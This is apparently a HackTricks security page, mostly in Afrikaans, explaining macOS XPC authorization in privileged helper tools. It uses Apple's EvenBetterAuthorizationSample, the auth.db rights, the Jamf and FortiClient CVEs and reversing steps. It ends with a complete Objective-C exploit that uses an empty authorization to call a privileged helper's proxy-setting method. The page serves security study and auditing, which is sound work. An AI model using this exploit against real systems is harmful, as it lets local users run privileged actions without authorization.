macOS XPC-magtiging
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
XPC-magtiging
Apple stel ook nog ’n ander manier voor om te verifieer of die verbindende proses die permissies het om ’n blootgestelde XPC-methode aan te roep.
Wanneer ’n toepassing aksies as ’n bevoorregte gebruiker moet uitvoer, installeer dit gewoonlik as root ’n HelperTool as ’n XPC-diens wat vanaf die app aangeroep kan word om daardie aksies uit te voer. Die app wat die diens aanroep, behoort egter genoegsame magtiging te hê.
ShouldAcceptNewConnection altyd YES
’n Voorbeeld is te vind in EvenBetterAuthorizationSample. In App/AppDelegate.m probeer dit om te verbind aan die HelperTool. En in HelperTool/HelperTool.m sal die funksie shouldAcceptNewConnection nie enige van die vroeër aangeduide vereistes nagaan nie. Dit sal altyd YES teruggee:
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection
// Called by our XPC listener when a new connection comes in. We configure the connection
// with our protocol and ourselves as the main object.
{
assert(listener == self.listener);
#pragma unused(listener)
assert(newConnection != nil);
newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)];
newConnection.exportedObject = self;
[newConnection resume];
return YES;
}
Vir meer inligting oor hoe om hierdie kontrole behoorlik te konfigureer:
macOS XPC Connecting Process Check
Toepassingsregte
Daar is egter ’n mate van outorisering wat plaasvind wanneer ’n metode van die HelperTool aangeroep word.
Die funksie applicationDidFinishLaunching in App/AppDelegate.m sal ’n leë outoriseringreferensie skep nadat die app begin het. Dit behoort altyd te werk.
Daarna sal dit probeer om ’n paar regte toe te voeg aan daardie outoriseringreferensie deur setupAuthorizationRights aan te roep:
- (void)applicationDidFinishLaunching:(NSNotification *)note
{
[...]
err = AuthorizationCreate(NULL, NULL, 0, &self->_authRef);
if (err == errAuthorizationSuccess) {
err = AuthorizationMakeExternalForm(self->_authRef, &extForm);
}
if (err == errAuthorizationSuccess) {
self.authorization = [[NSData alloc] initWithBytes:&extForm length:sizeof(extForm)];
}
assert(err == errAuthorizationSuccess);
// If we successfully connected to Authorization Services, add definitions for our default
// rights (unless they're already in the database).
if (self->_authRef) {
[Common setupAuthorizationRights:self->_authRef];
}
[self.window makeKeyAndOrderFront:self];
}
Die funksie setupAuthorizationRights van Common/Common.m sal in die auth database /var/db/auth.db die regte van die aansoek stoor. Let op hoe dit slegs die regte sal byvoeg wat nog nie in die auth database is nie:
+ (void)setupAuthorizationRights:(AuthorizationRef)authRef
// See comment in header.
{
assert(authRef != NULL);
[Common enumerateRightsUsingBlock:^(NSString * authRightName, id authRightDefault, NSString * authRightDesc) {
OSStatus blockErr;
// First get the right. If we get back errAuthorizationDenied that means there's
// no current definition, so we add our default one.
blockErr = AuthorizationRightGet([authRightName UTF8String], NULL);
if (blockErr == errAuthorizationDenied) {
blockErr = AuthorizationRightSet(
authRef, // authRef
[authRightName UTF8String], // rightName
(__bridge CFTypeRef) authRightDefault, // rightDefinition
(__bridge CFStringRef) authRightDesc, // descriptionKey
NULL, // bundle (NULL implies main bundle)
CFSTR("Common") // localeTableName
);
assert(blockErr == errAuthorizationSuccess);
} else {
// A right already exists (err == noErr) or any other error occurs, we
// assume that it has been set up in advance by the system administrator or
// this is the second time we've run. Either way, there's nothing more for
// us to do.
}
}];
}
Die funksie enumerateRightsUsingBlock is die een wat gebruik word om toepassings se toestemmings te kry, wat gedefinieer is in commandInfo:
static NSString * kCommandKeyAuthRightName = @"authRightName";
static NSString * kCommandKeyAuthRightDefault = @"authRightDefault";
static NSString * kCommandKeyAuthRightDesc = @"authRightDescription";
+ (NSDictionary *)commandInfo
{
static dispatch_once_t sOnceToken;
static NSDictionary * sCommandInfo;
dispatch_once(&sOnceToken, ^{
sCommandInfo = @{
NSStringFromSelector(@selector(readLicenseKeyAuthorization:withReply:)) : @{
kCommandKeyAuthRightName : @"com.example.apple-samplecode.EBAS.readLicenseKey",
kCommandKeyAuthRightDefault : @kAuthorizationRuleClassAllow,
kCommandKeyAuthRightDesc : NSLocalizedString(
@"EBAS is trying to read its license key.",
@"prompt shown when user is required to authorize to read the license key"
)
},
NSStringFromSelector(@selector(writeLicenseKey:authorization:withReply:)) : @{
kCommandKeyAuthRightName : @"com.example.apple-samplecode.EBAS.writeLicenseKey",
kCommandKeyAuthRightDefault : @kAuthorizationRuleAuthenticateAsAdmin,
kCommandKeyAuthRightDesc : NSLocalizedString(
@"EBAS is trying to write its license key.",
@"prompt shown when user is required to authorize to write the license key"
)
},
NSStringFromSelector(@selector(bindToLowNumberPortAuthorization:withReply:)) : @{
kCommandKeyAuthRightName : @"com.example.apple-samplecode.EBAS.startWebService",
kCommandKeyAuthRightDefault : @kAuthorizationRuleClassAllow,
kCommandKeyAuthRightDesc : NSLocalizedString(
@"EBAS is trying to start its web service.",
@"prompt shown when user is required to authorize to start the web service"
)
}
};
});
return sCommandInfo;
}
+ (NSString *)authorizationRightForCommand:(SEL)command
// See comment in header.
{
return [self commandInfo][NSStringFromSelector(command)][kCommandKeyAuthRightName];
}
+ (void)enumerateRightsUsingBlock:(void (^)(NSString * authRightName, id authRightDefault, NSString * authRightDesc))block
// Calls the supplied block with information about each known authorization right..
{
[self.commandInfo enumerateKeysAndObjectsUsingBlock:^(id key, id obj, BOOL *stop) {
#pragma unused(key)
#pragma unused(stop)
NSDictionary * commandDict;
NSString * authRightName;
id authRightDefault;
NSString * authRightDesc;
// If any of the following asserts fire it's likely that you've got a bug
// in sCommandInfo.
commandDict = (NSDictionary *) obj;
assert([commandDict isKindOfClass:[NSDictionary class]]);
authRightName = [commandDict objectForKey:kCommandKeyAuthRightName];
assert([authRightName isKindOfClass:[NSString class]]);
authRightDefault = [commandDict objectForKey:kCommandKeyAuthRightDefault];
assert(authRightDefault != nil);
authRightDesc = [commandDict objectForKey:kCommandKeyAuthRightDesc];
assert([authRightDesc isKindOfClass:[NSString class]]);
block(authRightName, authRightDefault, authRightDesc);
}];
}
Dit beteken dat aan die einde van hierdie proses die toestemmings wat binne commandInfo verklaar is, gestoor sal word in /var/db/auth.db. Let daarop dat jy daar kan vind vir elke metode wat vereis autentisering, toestemmingsnaam en die kCommandKeyAuthRightDefault. Laasgenoemde dui aan wie hierdie reg kan bekom.
There are different scopes to indicate who can access a right. Some of them are defined in AuthorizationDB.h (you can find all of them in here), but as summary:
| Name | Value | Description |
|---|---|---|
| kAuthorizationRuleClassAllow | allow | Enigeen |
| kAuthorizationRuleClassDeny | deny | Niemand |
| kAuthorizationRuleIsAdmin | is-admin | Huidige gebruiker moet 'n admin wees (binne die admin-groep) |
| kAuthorizationRuleAuthenticateAsSessionUser | authenticate-session-owner | Vra die gebruiker om te autentiseer. |
| kAuthorizationRuleAuthenticateAsAdmin | authenticate-admin | Vra die gebruiker om te autentiseer. Die gebruiker moet 'n admin wees (binne die admin-groep) |
| kAuthorizationRightRule | rule | Spesifiseer reëls |
| kAuthorizationComment | comment | Spesifiseer 'n paar ekstra kommentaar oor die reg |
Rights Verification
In HelperTool/HelperTool.m the function readLicenseKeyAuthorization checks if the caller is authorized to execute such method calling the function checkAuthorization. This function will check the authData sent by the calling process has a correct format and then will check what is needed to get the right to call the specific method. If all goes good the returned error will be nil:
- (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command
{
[...]
// First check that authData looks reasonable.
error = nil;
if ( (authData == nil) || ([authData length] != sizeof(AuthorizationExternalForm)) ) {
error = [NSError errorWithDomain:NSOSStatusErrorDomain code:paramErr userInfo:nil];
}
// Create an authorization ref from that the external form data contained within.
if (error == nil) {
err = AuthorizationCreateFromExternalForm([authData bytes], &authRef);
// Authorize the right associated with the command.
if (err == errAuthorizationSuccess) {
AuthorizationItem oneRight = { NULL, 0, NULL, 0 };
AuthorizationRights rights = { 1, &oneRight };
oneRight.name = [[Common authorizationRightForCommand:command] UTF8String];
assert(oneRight.name != NULL);
err = AuthorizationCopyRights(
authRef,
&rights,
NULL,
kAuthorizationFlagExtendRights | kAuthorizationFlagInteractionAllowed,
NULL
);
}
if (err != errAuthorizationSuccess) {
error = [NSError errorWithDomain:NSOSStatusErrorDomain code:err userInfo:nil];
}
}
if (authRef != NULL) {
junk = AuthorizationFree(authRef, 0);
assert(junk == errAuthorizationSuccess);
}
return error;
}
Neem kennis dat om die vereistes te kontroleer om die reg te kry om daardie metode aan te roep, sal die funksie authorizationRightForCommand net die voorafgaande kommentaar-objek commandInfo kontroleer. Daarna sal dit AuthorizationCopyRights aanroep om te kontroleer of dit die regte het om die funksie aan te roep (let daarop dat die flags interaksie met die gebruiker toelaat).
In hierdie geval, om die funksie readLicenseKeyAuthorization aan te roep, is kCommandKeyAuthRightDefault gedefinieer as @kAuthorizationRuleClassAllow. Dus kan enigeen dit aanroep.
DB-inligting
Dit is genoem dat hierdie inligting gestoor is in /var/db/auth.db. Jy kan al die gestoorde reëls lys met:
sudo sqlite3 /var/db/auth.db
SELECT name FROM rules;
SELECT name FROM rules WHERE name LIKE '%safari%';
Dan kan jy lees wie toegang tot die reg het met:
security authorizationdb read com.apple.safaridriver.allow
Permissiewe regte
Jy kan al die bevoegdheidskonfigurasies in here, maar die kombinasies wat geen gebruikersinteraksie sal vereis nie, is:
- ‘authenticate-user’: ‘false’
- Dit is die mees direkte sleutel. As dit op
falsegestel is, beteken dit dat ’n gebruiker nie outentisering hoef te verskaf om hierdie reg te kry nie. - Dit word gebruik in kombinasie met een van die 2 hieronder of deur ’n groep aan te dui waartoe die gebruiker moet behoort.
- ‘allow-root’: ‘true’
- As ’n gebruiker as die root-gebruiker opereer (wat verhoogde regte het), en hierdie sleutel is op
truegestel, kan die root-gebruiker moontlik hierdie reg kry sonder verdere outentisering. - Dit beteken egter dat om root te word gewoonlik reeds outentisering vereis, so dit is nie vir die meeste gebruikers ’n “geen outentisering”-scenario nie.
- ‘session-owner’: ‘true’
- As dit op
truegestel is, sal die eienaar van die sessie (die tans aangemelde gebruiker) outomaties hierdie reg kry. Dit kan addisionele outentisering omseil as die gebruiker reeds aangemeld is.
- ‘shared’: ‘true’
- Hierdie sleutel verleen nie regte sonder outentisering nie. In plaas daarvan, as dit op
truegestel is, beteken dit dat sodra die reg geverifieer is, dit tussen verskeie prosesse gedeel kan word sonder dat elkeen weer hoef te her-outentiseer. Maar die aanvanklike toekenning van die reg sal steeds outentisering vereis, tensy dit gekombineer word met ander sleutels soos'authenticate-user': 'false'.
Jy kan use this script to get the interesting rights:
Rights with 'authenticate-user': 'false':
is-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-developer (_developer), is-lpadmin (_lpadmin), is-root (run as root), is-session-owner (session owner), is-webdeveloper (_webdeveloper), system-identity-write-self (session owner), system-install-iap-software (run as root), system-install-software-iap (run as root)
Rights with 'allow-root': 'true':
com-apple-aosnotification-findmymac-remove, com-apple-diskmanagement-reservekek, com-apple-openscripting-additions-send, com-apple-reportpanic-fixright, com-apple-servicemanagement-blesshelper, com-apple-xtype-fontmover-install, com-apple-xtype-fontmover-remove, com-apple-dt-instruments-process-analysis, com-apple-dt-instruments-process-kill, com-apple-pcastagentconfigd-wildcard, com-apple-trust-settings-admin, com-apple-wifivelocity, com-apple-wireless-diagnostics, is-root, system-install-iap-software, system-install-software, system-install-software-iap, system-preferences, system-preferences-accounts, system-preferences-datetime, system-preferences-energysaver, system-preferences-network, system-preferences-printing, system-preferences-security, system-preferences-sharing, system-preferences-softwareupdate, system-preferences-startupdisk, system-preferences-timemachine, system-print-operator, system-privilege-admin, system-services-networkextension-filtering, system-services-networkextension-vpn, system-services-systemconfiguration-network, system-sharepoints-wildcard
Rights with 'session-owner': 'true':
authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-session-user, com-apple-safari-allow-apple-events-to-run-javascript, com-apple-safari-allow-javascript-in-smart-search-field, com-apple-safari-allow-unsigned-app-extensions, com-apple-safari-install-ephemeral-extensions, com-apple-safari-show-credit-card-numbers, com-apple-safari-show-passwords, com-apple-icloud-passwordreset, com-apple-icloud-passwordreset, is-session-owner, system-identity-write-self, use-login-window-ui
Gevallestudies van autorisasie-omseiling
- CVE-2024-4395 – Jamf Compliance Editor helper: Wanneer ’n oudit uitgevoer word laat dit
/Library/LaunchDaemons/com.jamf.complianceeditor.helper.plistval, openbaar die Mach-dienscom.jamf.complianceeditor.helper, en eksporteer-executeScriptAt:arguments:then:sonder om die roeper seAuthorizationExternalFormof code signature te verifieer. ’n Triviale uitbuiting doenAuthorizationCreateop ’n leë referensie, verbind met[[NSXPCConnection alloc] initWithMachServiceName:options:NSXPCConnectionPrivileged], en roep die metode aan om arbitrary binaries as root uit te voer. Full reversing notes (plus PoC) in Mykola Grymalyuk’s write-up. - CVE-2025-25251 – FortiClient Mac helper: FortiClient Mac 7.0.0–7.0.14, 7.2.0–7.2.8 and 7.4.0–7.4.2 accepted crafted XPC messages that reached a privileged helper lacking authorization gates. Omdat die helper sy eie bevoorregte
AuthorizationRefvertrou het, kon enige plaaslike gebruiker wat die diens kan message dit dwing om arbitrary configuration changes of commands as root uit te voer. Details in SentinelOne’s advisory summary.
Vinnige triage wenke
- Wanneer ’n app sowel ’n GUI as ’n helper insluit, diff their code requirements en kyk of
shouldAcceptNewConnectiondie listener met-setCodeSigningRequirement:vergrendel (ofSecCodeCopySigningInformationvalideer). Ontbrekende kontrolele lei gewoonlik tot CWE-863 scenario’s soos die Jamf-geval. ’n Vinnige blik lyk soos:
codesign --display --requirements - /Applications/Jamf\ Compliance\ Editor.app
- Vergelyk wat die helper dink dit authoriseer met wat die client verskaf. Wanneer jy reversing doen, plaas ’n breakpoint op
AuthorizationCopyRightsen bevestig dat dieAuthorizationRefafkomstig is vanAuthorizationCreateFromExternalForm(deur die client verskaf) in plaas van die helper se eie geprivilegieerde konteks, anders het jy waarskynlik ’n CWE-863-patroon gevind soortgelyk aan die gevalle hierbo.
Omgekeerde autorisering
Kontroleer of EvenBetterAuthorization gebruik word
As jy die funksie vind: [HelperTool checkAuthorization:command:] is dit waarskynlik dat die proses die vroeër genoemde skema vir autorisering gebruik:
.png)
Dan, as hierdie funksie funksies soos AuthorizationCreateFromExternalForm, authorizationRightForCommand, AuthorizationCopyRights, AuhtorizationFree aanroep, gebruik dit EvenBetterAuthorizationSample.
Kyk die /var/db/auth.db om te sien of dit moontlik is om toestemming te kry om ’n beperkte aksie sonder gebruikersinteraksie aan te roep.
Protokolkommunikasie
Dan moet jy die protokolskema vind om ’n kommunikasie met die XPC-diens te kan vestig.
Die funksie shouldAcceptNewConnection dui die protokol aan wat uitgevoer word:
.png)
In hierdie geval het ons dieselfde as in EvenBetterAuthorizationSample, kyk hierdie reël.
Met die kennis van die naam van die gebruikte protokol, is dit moontlik om sy header-definisie te dump met:
class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
[...]
@protocol HelperToolProtocol
- (void)overrideProxySystemWithAuthorization:(NSData *)arg1 setting:(NSDictionary *)arg2 reply:(void (^)(NSError *))arg3;
- (void)revertProxySystemWithAuthorization:(NSData *)arg1 restore:(BOOL)arg2 reply:(void (^)(NSError *))arg3;
- (void)legacySetProxySystemPreferencesWithAuthorization:(NSData *)arg1 enabled:(BOOL)arg2 host:(NSString *)arg3 port:(NSString *)arg4 reply:(void (^)(NSError *, BOOL))arg5;
- (void)getVersionWithReply:(void (^)(NSString *))arg1;
- (void)connectWithEndpointReply:(void (^)(NSXPCListenerEndpoint *))arg1;
@end
[...]
Laastens, ons hoef net die naam van die blootgestelde Mach Service te weet om ’n kommunikasie daarmee tot stand te bring. Daar is verskeie maniere om dit te vind:
- In die
[HelperTool init]waar jy kan sien dat die Mach Service gebruik word:
.png)
- In die launchd plist:
cat /Library/LaunchDaemons/com.example.HelperTool.plist
[...]
<key>MachServices</key>
<dict>
<key>com.example.HelperTool</key>
<true/>
</dict>
[...]
Exploit Voorbeeld
In hierdie voorbeeld word die volgende geskep:
- Die definisie van die protocol met die funksies
- ’n leë auth om te gebruik om toegang te vra
- ’n verbinding na die XPC service
- ’n oproep na die funksie indien die verbinding suksesvol was
// gcc -framework Foundation -framework Security expl.m -o expl
#import <Foundation/Foundation.h>
#import <Security/Security.h>
// Define a unique service name for the XPC helper
static NSString* XPCServiceName = @"com.example.XPCHelper";
// Define the protocol for the helper tool
@protocol XPCHelperProtocol
- (void)applyProxyConfigWithAuthorization:(NSData *)authData settings:(NSDictionary *)settings reply:(void (^)(NSError *))callback;
- (void)resetProxyConfigWithAuthorization:(NSData *)authData restoreDefault:(BOOL)shouldRestore reply:(void (^)(NSError *))callback;
- (void)legacyConfigureProxyWithAuthorization:(NSData *)authData enabled:(BOOL)isEnabled host:(NSString *)hostAddress port:(NSString *)portNumber reply:(void (^)(NSError *, BOOL))callback;
- (void)fetchVersionWithReply:(void (^)(NSString *))callback;
- (void)establishConnectionWithReply:(void (^)(NSXPCListenerEndpoint *))callback;
@end
int main(void) {
NSData *authData;
OSStatus status;
AuthorizationExternalForm authForm;
AuthorizationRef authReference = {0};
NSString *proxyAddress = @"127.0.0.1";
NSString *proxyPort = @"4444";
Boolean isProxyEnabled = true;
// Create an empty authorization reference
status = AuthorizationCreate(NULL, kAuthorizationEmptyEnvironment, kAuthorizationFlagDefaults, &authReference);
const char* errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
NSLog(@"OSStatus: %s", errorMsg);
// Convert the authorization reference to an external form
if (status == errAuthorizationSuccess) {
status = AuthorizationMakeExternalForm(authReference, &authForm);
errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
NSLog(@"OSStatus: %s", errorMsg);
}
// Convert the external form to NSData for transmission
if (status == errAuthorizationSuccess) {
authData = [[NSData alloc] initWithBytes:&authForm length:sizeof(authForm)];
errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
NSLog(@"OSStatus: %s", errorMsg);
}
// Ensure the authorization was successful
assert(status == errAuthorizationSuccess);
// Establish an XPC connection
NSString *serviceName = XPCServiceName;
NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:serviceName options:0x1000];
NSXPCInterface *xpcInterface = [NSXPCInterface interfaceWithProtocol:@protocol(XPCHelperProtocol)];
[xpcConnection setRemoteObjectInterface:xpcInterface];
[xpcConnection resume];
// Handle errors for the XPC connection
id remoteProxy = [xpcConnection remoteObjectProxyWithErrorHandler:^(NSError *error) {
NSLog(@"[-] Connection error");
NSLog(@"[-] Error: %@", error);
}];
// Log the remote proxy and connection objects
NSLog(@"Remote Proxy: %@", remoteProxy);
NSLog(@"XPC Connection: %@", xpcConnection);
// Use the legacy method to configure the proxy
[remoteProxy legacyConfigureProxyWithAuthorization:authData enabled:isProxyEnabled host:proxyAddress port:proxyPort reply:^(NSError *error, BOOL success) {
NSLog(@"Response: %@", error);
}];
// Allow some time for the operation to complete
[NSThread sleepForTimeInterval:10.0f];
NSLog(@"Finished!");
}
Ander XPC-voorreghelpers wat misbruik word
Verwysings
- https://theevilbit.github.io/posts/secure_coding_xpc_part1/
- https://khronokernel.com/macos/2024/05/01/CVE-2024-4395.html
- https://www.sentinelone.com/vulnerability-database/cve-2025-25251/
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks

